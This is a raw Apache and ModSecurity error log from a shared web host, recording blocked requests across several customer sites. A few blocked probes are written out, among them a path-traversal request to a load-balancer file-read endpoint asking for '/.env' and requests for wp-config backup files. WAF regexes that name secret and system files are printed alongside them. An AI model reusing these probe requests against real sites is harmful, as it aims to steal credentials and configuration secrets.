/home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:23.261982 2026] [access_compat:error] [pid 531155:tid 531183] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ0L2NhcGFiaWxpdGllcw== [Sat Jun 13 18:12:23.470758 2026] [security2:error] [pid 531797:tid 531987] [remote 17.241.219.213:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 213.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x58TA7b1mZrmcA-81TQACd3o"] [Sat Jun 13 18:12:23.633738 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.59:42027] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:23.634187 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.59:42027] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:23.782617 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:12:23.783081 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0L2lk [Sat Jun 13 18:12:23.800160 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.34:46862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:23.800632 2026] [access_compat:error] [pid 531797:tid 531895] [remote 57.141.14.34:46862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:23.905361 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.98:21536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:23.905671 2026] [access_compat:error] [pid 531155:tid 531185] [remote 57.141.14.98:21536] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:23.941254 2026] [access_compat:error] [pid 531797:tid 531928] [remote 57.141.14.53:26036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:23.941712 2026] [access_compat:error] [pid 531797:tid 531928] [remote 57.141.14.53:26036] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:23.983349 2026] [security2:error] [pid 531797:tid 531933] [remote 17.246.23.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x58TA7b1mZrmcA-81XwACb0U"] [Sat Jun 13 18:12:24.105004 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.76:33303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:24.105327 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.76:33303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:24.298752 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NC9wb3dlcg== [Sat Jun 13 18:12:24.299049 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2V2ZW50NC9wb3dlcg== [Sat Jun 13 18:12:24.381359 2026] [security2:error] [pid 531155:tid 531361] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation24.phpt"] [unique_id "ai3x6CmiP80klyS0NnoDbgAAAVY"] [Sat Jun 13 18:12:24.816519 2026] [security2:error] [pid 531155:tid 531279] [remote 17.241.75.159:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 159.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6CmiP80klyS0NnoDeAABSXs"] [Sat Jun 13 18:12:24.843709 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:24.843991 2026] [access_compat:error] [pid 531155:tid 531273] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:12:24.947195 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.17:27204] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:24.947724 2026] [access_compat:error] [pid 531797:tid 531961] [remote 57.141.14.17:27204] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:25.325484 2026] [security2:error] [pid 531155:tid 531266] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at ARGS:fileName. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp"] [unique_id "ai3x6SmiP80klyS0NnoDhAABbG4"] [Sat Jun 13 18:12:25.396238 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.54:48757] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:25.396695 2026] [access_compat:error] [pid 531155:tid 531249] [remote 57.141.14.54:48757] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:25.461600 2026] [security2:error] [pid 531155:tid 531194] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at ARGS:fileName. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp"] [unique_id "ai3x6SmiP80klyS0NnoDiQABKyY"] [Sat Jun 13 18:12:25.471869 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:12:25.472333 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9tb3VzZTIvcG93ZXI= [Sat Jun 13 18:12:25.502399 2026] [security2:error] [pid 531155:tid 531253] [remote 17.241.219.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6SmiP80klyS0NnoDjAABSmE"] [Sat Jun 13 18:12:25.557505 2026] [security2:error] [pid 531797:tid 531949] [remote 17.246.15.155:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 155.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6cTA7b1mZrmcA-81qwACe1U"] [Sat Jun 13 18:12:25.779265 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.67:52695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:25.779530 2026] [access_compat:error] [pid 531797:tid 531903] [remote 57.141.14.67:52695] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:25.882213 2026] [security2:error] [pid 531797:tid 531957] [remote 17.241.227.93:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6cTA7b1mZrmcA-81ugACjF0"] [Sat Jun 13 18:12:25.913636 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:12:25.913920 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQ1 [Sat Jun 13 18:12:26.102534 2026] [security2:error] [pid 531155:tid 531240] [remote 17.246.19.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6imiP80klyS0NnoDmQABbVQ"] [Sat Jun 13 18:12:26.116299 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.68:34326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:26.116752 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.68:34326] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:26.127021 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.76:27945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:26.127285 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.76:27945] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:26.175399 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.64:58250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:26.175866 2026] [access_compat:error] [pid 531797:tid 531950] [remote 57.141.14.64:58250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:26.382793 2026] [security2:error] [pid 531155:tid 531287] [client 5.252.179.67:55502] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "impromptufridaynights.com"] [uri "/wp-config.php.bak"] [unique_id "ai3x6imiP80klyS0NnoDoAAAAQw"] [Sat Jun 13 18:12:26.382971 2026] [security2:error] [pid 531797:tid 532074] [client 5.252.179.67:55518] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "impromptufridaynights.com"] [uri "/wp-config.php.old"] [unique_id "ai3x6sTA7b1mZrmcA-81ywAAAmA"] [Sat Jun 13 18:12:26.447507 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:12:26.447788 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDYvcG93ZXI= [Sat Jun 13 18:12:26.970512 2026] [access_compat:error] [pid 531155:tid 531281] [remote 185.177.72.9:45824] AH01797: client denied by server configuration: /home3/bradgore/public_html/xmlrpc.php [Sat Jun 13 18:12:26.978751 2026] [security2:error] [pid 531797:tid 531881] [remote 17.22.245.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x6sTA7b1mZrmcA-812gACUxE"] [Sat Jun 13 18:12:26.982489 2026] [access_compat:error] [pid 531155:tid 531188] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 